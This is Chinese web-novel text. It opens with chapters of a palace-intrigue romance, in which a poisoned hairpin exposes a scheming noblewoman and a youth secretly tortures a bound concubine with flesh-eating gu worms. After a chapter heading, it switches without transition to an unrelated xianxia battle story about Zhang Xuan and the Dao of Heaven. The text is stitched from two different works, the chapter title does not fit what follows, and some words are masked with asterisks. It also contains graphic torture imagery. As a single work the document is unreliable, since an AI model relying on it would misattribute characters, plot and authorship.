姜姝宁不过一个十七岁少女,怎会拥有如此可怕的心机! 她竟能不动声色地配合着她们,将这场戏演得滴水不漏,直至最后一刻才揭开真相,让人无从辩驳! 麟阁宫殿内的气氛因萧凌川的命令而陷入一种诡异的死寂。 所有人的目光都汇聚在苏婉那张惨白如纸的脸上,有鄙夷,有惊愕,也有幸灾乐祸。 姜瑶真垂在身侧的手指悄然收紧,指甲深深掐入了掌心。 她同样惊骇于姜姝宁的后手,但她反应更快,脑中已在飞速盘算如何将自己从这场泥潭中摘得干干净净。 时间仿佛被拉得极长,每一分每一秒都像是在苏婉心头凌迟。 终于,凌风的身影如鬼魅般再次出现在殿门口,他手中托着一个锦盒,步履沉稳地走到殿中,单膝跪地:“王爷,金钗已取回。” 吴嬷嬷上前接过锦盒,呈给太后。 太后冷声命令:“让御医验。” 御医上前,接过那根与姜姝宁头上别无二致的海棠金钗,只轻轻一旋,那看似浑然一体的钗柄果然应声而开,一小撮雪白的粉末从中断口处倾倒而出。 御医验了毒,随即肯定地禀告:“启禀太后,王爷,此毒与张姑娘所中之毒,分毫不差!” 殿内响起一片倒吸冷气之声。 萧凌川的目光如利剑般射向苏婉:“苏府的下人也已确认,这根金钗是在生辰宴开始前便送回府上。也就是说,姜姑娘来参加生辰宴之时,根本没机会接触这根毒钗。” 他的声音不高,却字字如千钧重,砸得苏婉摇摇欲坠。 “这根海棠金钗是苏姑娘送给姜姑娘的,上面还带着张姑娘伤口上的毒粉,苏姑娘,你要如何解释?” 萧凌川的声音陡然转冷,带着几分咄咄逼人的威压。 苏婉再也支撑不住,“噗通”一声跪倒在地。 她涕泪横流,声嘶力竭地尖叫:“不是我!不是我!张姑娘都说了,是姜姑娘刺她的!你们都听见了!” “假山后灯火昏暗,张姑娘惊慌之下会认错人,也不足为奇。”萧凌川看都未看她一眼,转而对太后躬身道,“皇祖母,苏姑娘心肠歹毒,手段阴狠,竟敢在三皇子妃的生辰宴上行刺朝臣家眷,还企图栽赃嫁祸,罪不可赦!孙儿提议,将其重打五十大板,以儆效尤!” 五十大板! 苏婉被吓得魂飞魄散。 以她这娇生惯养的身子,别说五十大板,便是二十大板也能要了她的命! 求生的本能让她顾不得一切转向一旁的姜瑶真,哭喊道:“三皇子妃!三皇子妃,你说句话啊!你快帮我说句话啊!” 姜瑶真被她这般指名道姓,脸色微微一僵。 她看着苏婉那狼狈不堪的模样,心中最后一丝犹豫也荡然无存。 这颗棋子已经废了,再不撇清关系,就要引火烧身了。 她当即换上一副痛心疾首的面孔,向前一步,故作为难地蹙起眉头:“苏姑娘,本宫实在不明白。张姑娘与你无冤无仇,你为何要对她下此毒手?” 这一句看似疑问,实则已是盖棺定论。 苏婉怔住了,难以置信地看着姜瑶真。 姜瑶真脸上写满了恰到好处的困惑与惋惜,仿佛对此事毫不知情。 原来,她早就想好了退路。 如今张嫣中毒昏迷,姜瑶真反戈一击,所有的罪证都指向苏婉一人。 苏婉的心彻底沉入了冰窖,她是真的慌了。 就在此时,一个焦急的声音从殿外传来:“太后娘娘开恩!王爷开恩啊!” 众人循声望去,只见苏老爷连衣帽都来不及戴正,便一路小跑着冲进殿内,重重地跪在了太后与萧凌川面前:“太后,王爷,小女年幼不懂事,因听信坊间传言,说……说五皇子殿下曾对姜姑娘心生爱慕,这才一时被嫉妒蒙了心,犯下滔天大错啊!求太后开恩,饶了她这一次吧!” 萧凌川闻言,嘲讽一笑:“令爱已经十八,姜姑娘才十七。苏大人竟以她‘年幼不懂事’为由,想逃避罪责,简直可笑至极!” 听到这话,一直沉默不语的姜姝宁脸上掠过一丝极其细微的尴尬。 萧凌川其实比谁都清楚,她这具十七岁的皮囊里,装着的不是不谙世事的少女,而是曾在深宅里被蹉跎了十年的三十岁妇人。 所以在苏婉使出这等拙劣计谋时,她非但不怕,甚至觉得有些可笑。 苏老爷被噎得满脸通红,却不敢反驳,只是一个劲地磕头:“是草民教女无方!婉儿今日如此任性妄为,都是草民这个做父亲的没教好,草民愿将苏家家业的一半充入国库,以此为小女赎罪!” 此言一出,满座皆惊。 苏家乃是京城巨富,其家业一半,是何等惊人的财富! 太后原本冷硬的脸色,似乎也因苏老爷这番爱女心切的泣血之言和惊天的价码而有了一丝松动。 她沉默片刻,缓缓开口:“罢了,看在你一片舐犊情深的份上,哀家便允了。但苏姑娘伤人在先,须得张姑娘醒来后同意不予追究,方可了结此事。” 苏婉与苏老爷闻言,紧绷的神情稍稍松懈。 然而,不待他们彻底松一口气,一旁始终冷眼旁观的五皇子萧怀瑾却骤然站出。 他朝太后恭敬一礼,语气却透着不容置疑的坚定:“皇祖母,苏姑娘心性善妒,手段狠毒,今日之事更是骇人听闻。孙儿……断不愿与此等女子结为连理。恳请皇祖母为孙儿做主,准许孙儿与苏氏退婚!” 这番话,宛如一记无形的重击,狠狠掴在苏婉脸上。 她不敢置信地看着自己的未婚夫,泪眼模糊:“五皇子殿下……你怎么能……怎么能如此落井下石?” 萧怀瑾却连一个眼神都懒得施舍给她,只是固执地望着太后,重复道:“请皇祖母成全!” 他心里清楚,此举多少有些过分。 但今日是一个名正言顺解除婚约的绝佳时机,若是错过了这个机会,只怕日后真要与她沦为一对怨偶,彼此厌憎。 方才他私下与她商讨解除婚约之事时,她笑得狡黠而意味深长:“五皇子殿下当真以为一头小鹿便能让民女同意解除婚约?殿下未免太过天真了,民女要的何止是一头小鹿,民女还要那五皇子妃的尊贵名分,以及五皇子殿下的……真心宠爱!” 萧怀瑾这才意识到自己被她戏耍了。 也是,一个出身商贾之家的女子,哪怕表面再如何单纯,又怎可能为了一只宠物,就轻易放弃这唾手可得的婚约和荣华富贵? 既然她出尔反尔,言而无信,那便休怪他借此机会,果断解除这个婚约! 太后见萧怀瑾态度如此坚决,只能应下:“既如此,那便依你吧。” 第187章 格外迟钝 第一百八十七章 格外迟钝 一场闹剧这才总算落下帷幕。 苏婉被宫人半拖半扶地带了下去,哭声凄厉。 苏老爷仿佛瞬间苍老了十岁,佝偻着背,失魂落魄地跟在后面,那背影里再无半分京城巨富的意气风发。 殿内的气氛一时有些诡异的寂静,随即又被压抑的私语声重新填满。 宾客们交换着心照不宣的眼神,目光在狼狈退场的苏家父女、面色清冷的姜姝宁以及两位皇子之间来回逡巡。 幸灾乐祸者有之,扼腕叹息者有之,更多的是对这场恩怨后续的无限遐想。 谁都看得出来,五皇子当众退婚,虽是苏婉咎由自取,但那份决绝,却不仅仅是为了撇清关系。 那双总是温润含笑的眼睛,在看向姜姝宁时,分明藏着别样的光。 生辰宴草草散场,众人陆续起身告退。 姜姝宁也正准备同家人一起离开,一个温和又带着几分急切的声音自身后传来。 “姜姑娘,请留步。” 姜姝宁回过头,只见萧怀瑾快步走来,清隽俊逸的脸上带着几分歉疚与急切,试图解释道:“姜姑娘,之前我将绒毛赠予苏姑娘,其实是……” “殿下。”姜姝宁语气平静地打断他,不动声色地后退半步,拉开两人间的距离,“您如何处置自己的爱宠,是您的自由,您无需向臣女解释。” 这疏离而客气的语气,宛如一堵无形的壁垒,瞬间将萧怀瑾的热切隔绝在外。 就在这时,萧凌川缓步踱来,嘴角噙着一抹意味深长的笑:“五弟,若本王是你,刚退了婚,便不会如此急切地来寻姜姑娘。否则,满殿宾客怕是要误以为,姜姑娘才是让你执意抛弃未婚妻的缘由!” 萧怀瑾闻言,脸色霎时一沉,隐隐透出几分难堪。 他见姜姝宁眉心微蹙,一副刻意避嫌的模样,心中更觉一阵窘迫:“姜姑娘,我绝无此意……是我唐突了,告辞!” 他懊恼地看了她一眼,随即转身,略显狼狈地匆匆离去。 望着他落寞的背影,姜姝宁心头百味杂陈。 她自然明白,今日之事,错不在萧怀瑾。 然而,无论是张嫣还是苏婉,她们的嫉妒与算计,归根结底,皆因对他的倾慕与执念而起。 这不由让她心生退意,愈发想要避而远之。 “五弟,”萧凌川故意冲着萧怀瑾的背影道,“恭喜你,今日得以如愿以偿!” 那语气里的嘲弄,像一根细小的针,扎在萧怀瑾的背上。 他身形僵了僵,却没有回头。 罢了,四哥的话虽然难听,但他说得没错。 自己总算是摆脱了那段令人窒息的婚约,这便是最大的“如愿以偿”。 至于姜姑娘……他暗自攥紧拳头,来日方长,他定会用自己的真心与诚意,慢慢化解她的戒备,让她真正明白自己的心意。 他这般想着,加快了脚步,消失在了殿门之外。 萧怀瑾离去后,姜姝宁微微欠身,向萧凌川恭敬行礼:“今日之事,多谢王爷出手相助。” 听到这话,萧凌川那双桃花眼中霎时涌起一抹如水般的柔光,语气中多了几分亲昵:“姝宁,你我之间,何必如此生分……” “王爷如此维护臣女这位盟友,臣女自当竭尽所能,助王爷成就大业!”姜姝宁语气平静,目光却始终疏离。 萧凌川脸上的神情一僵,声音中透着几分不悦:“你以为本王今日帮你,只因为你是本王的盟友?” “自然不完全是。”姜姝宁神色淡然,语气中带着一丝剖析的冷静,“苏家身为京城巨富,不受皇室约束,行事向来张扬跋扈。王爷今日紧抓苏婉刺杀并污蔑臣女一事不放,逼得苏老爷将半数家业捐入国库,既充实了国库,又重挫了苏家嚣张的气焰,实乃一石二鸟。今日得偿所愿的,岂止是五皇子殿下,王爷不也同样如愿以偿?” 萧凌川怒极反笑,声音中夹杂着几分咬牙切齿的意味:“没错,本王所做一切,都是为了大邺,与你半分关系也没有!” 他怎么会看上这么不知好歹的女子? “王爷英明。”姜姝宁依旧是那副清冷疏远的模样,不为所动。 以她对萧凌川的了解,他比任何商贾都更为精于算计。 今日之举,绝不仅仅是为了帮她解围,背后定然隐藏着更大的利益考量。 萧凌川骤然上前一步,高大的身躯将她逼至角落,眼神中透着几分侵略的锐芒:“只是,你身为本王的盟友,至今本王却未见你有半点贡献!姜姑娘莫不是打算待本王登临高位后,仅在榻间侍奉便敷衍了事?” 无耻! 姜姝宁面红耳赤,心中暗骂萧凌川。 不将他的身世秘密公诸于众,已是她对他的最大支持! 萧凌川,别不知好歹! 回府的路上,姜天泽满脸愤懑:“二姐姐实在太过分了,竟联合外人欺负大姐姐!她眼里还有没有半点姐妹情分?” 姜姝宁见他这副义愤填膺的模样,心中泛起一丝暖意,柔声道:“无妨,少了这么一个妹妹,我还有你。天泽,虽说你我并非同父同母,但大姐姐心里清楚,你始终把我当成亲姐姐看待。” 姜天泽唇角微勾,垂下眼帘,浓密的睫毛遮住了眼底涌动的情绪。 谁说他把她当亲姐姐看待的? 在这件事上,聪慧的大姐姐显得格外迟钝。 回到西院后,姜天泽径直走向后厨,那里藏着他亲手打造的通往地窖的密室。 密室中,被裹得如同木乃伊一般的花莲,正满眼惊恐地注视着他一步步走近。 姜天泽对她眼中的恐惧视而不见,径自掀开覆盖在她腹部的黑色布料。 只见她的腹部上,几条黑色的虫子正蠕动着,那些虫子都是靠啃噬她的血肉滋养长大的。 “原来,蛊虫果真能如此培育!”姜天泽眼中闪过一抹狂热,他掏出随身携带的小刀,在花莲腹部划开几道口子。 鲜血涌出,那些虫子顿时兴奋地钻入血肉中啃噬起来。 花莲痛不欲生,却连一丝声响都无法发出,只能默默承受。 “姜家姨娘,你可知今日 你那宝贝女儿,竟伙同外人欺负栽赃大姐姐。”姜天泽面色阴沉,语气中透着森冷的恨意,“她如今贵为三皇子妃,我暂且动她不得,只能由你来替她承受我的怒火。” 他嘴角扯出一抹阴森的笑意,“你说,若有朝一日姜瑶得知你所受的折磨,会不会后悔欺辱我的大姐姐?” 花莲眼中恨意如潮涌动,却毫无反抗之力,只能在心底暗暗祈祷,盼望她的女儿能早日察觉到自己落在这对恶魔母子手中的惨状…… 第188章 简直像换了个人 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 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是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 